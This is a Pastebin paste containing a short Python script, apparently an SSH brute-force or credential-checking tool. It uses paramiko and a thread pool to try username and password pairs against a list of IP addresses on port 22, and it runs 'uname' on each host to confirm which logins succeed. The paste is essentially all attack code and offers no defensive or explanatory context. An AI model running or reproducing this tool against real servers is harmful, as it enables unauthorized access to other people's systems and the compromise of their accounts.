Advertisement
Guest User

Untitled

a guest
Mar 17th, 2017
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.35 KB | None | 0 0
  1. import paramiko
  2. import socket
  3. from multiprocessing.dummy import Pool as PPool
  4.  
  5.  
  6. class GoodPassword(Exception):
  7.     pass
  8.  
  9.  
  10. class SSHBrute():
  11.     def __init__(self, threads_count, ip_list, timeout):
  12.         self.threads_count = threads_count
  13.         self.ip_list = ip_list
  14.         self.timeout = timeout
  15.  
  16.     def ssh_checker(self, ip):
  17.         data = ip.split(':')
  18.         client = paramiko.SSHClient()
  19.         client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  20.         try:
  21.             client.connect(hostname=data[0], username=data[1], password=data[2], port=22, timeout=self.timeout)
  22.             stdin, stdout, stderr = client.exec_command('uname')
  23.             if stdout.read():
  24.                 print('[+]Good: ' + data[0])
  25.                 raise GoodPassword
  26.             else:
  27.                 print('Wrong Password')
  28.         except socket.timeout:
  29.             print('Time Out: ' + data[0])
  30.         except paramiko.ssh_exception.NoValidConnectionsError:
  31.             pass
  32.         except paramiko.ssh_exception.AuthenticationException:
  33.             print('[-]Wrong username or password: ' + data[0])
  34.         except Exception:
  35.             pass
  36.  
  37.     def run_brute(self):
  38.         ppool = PPool(self.threads_count)
  39.         result = ppool.map(self.ssh_checker, self.ip_list)
  40.         ppool.close()
  41.         ppool.join()
  42.         return result
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement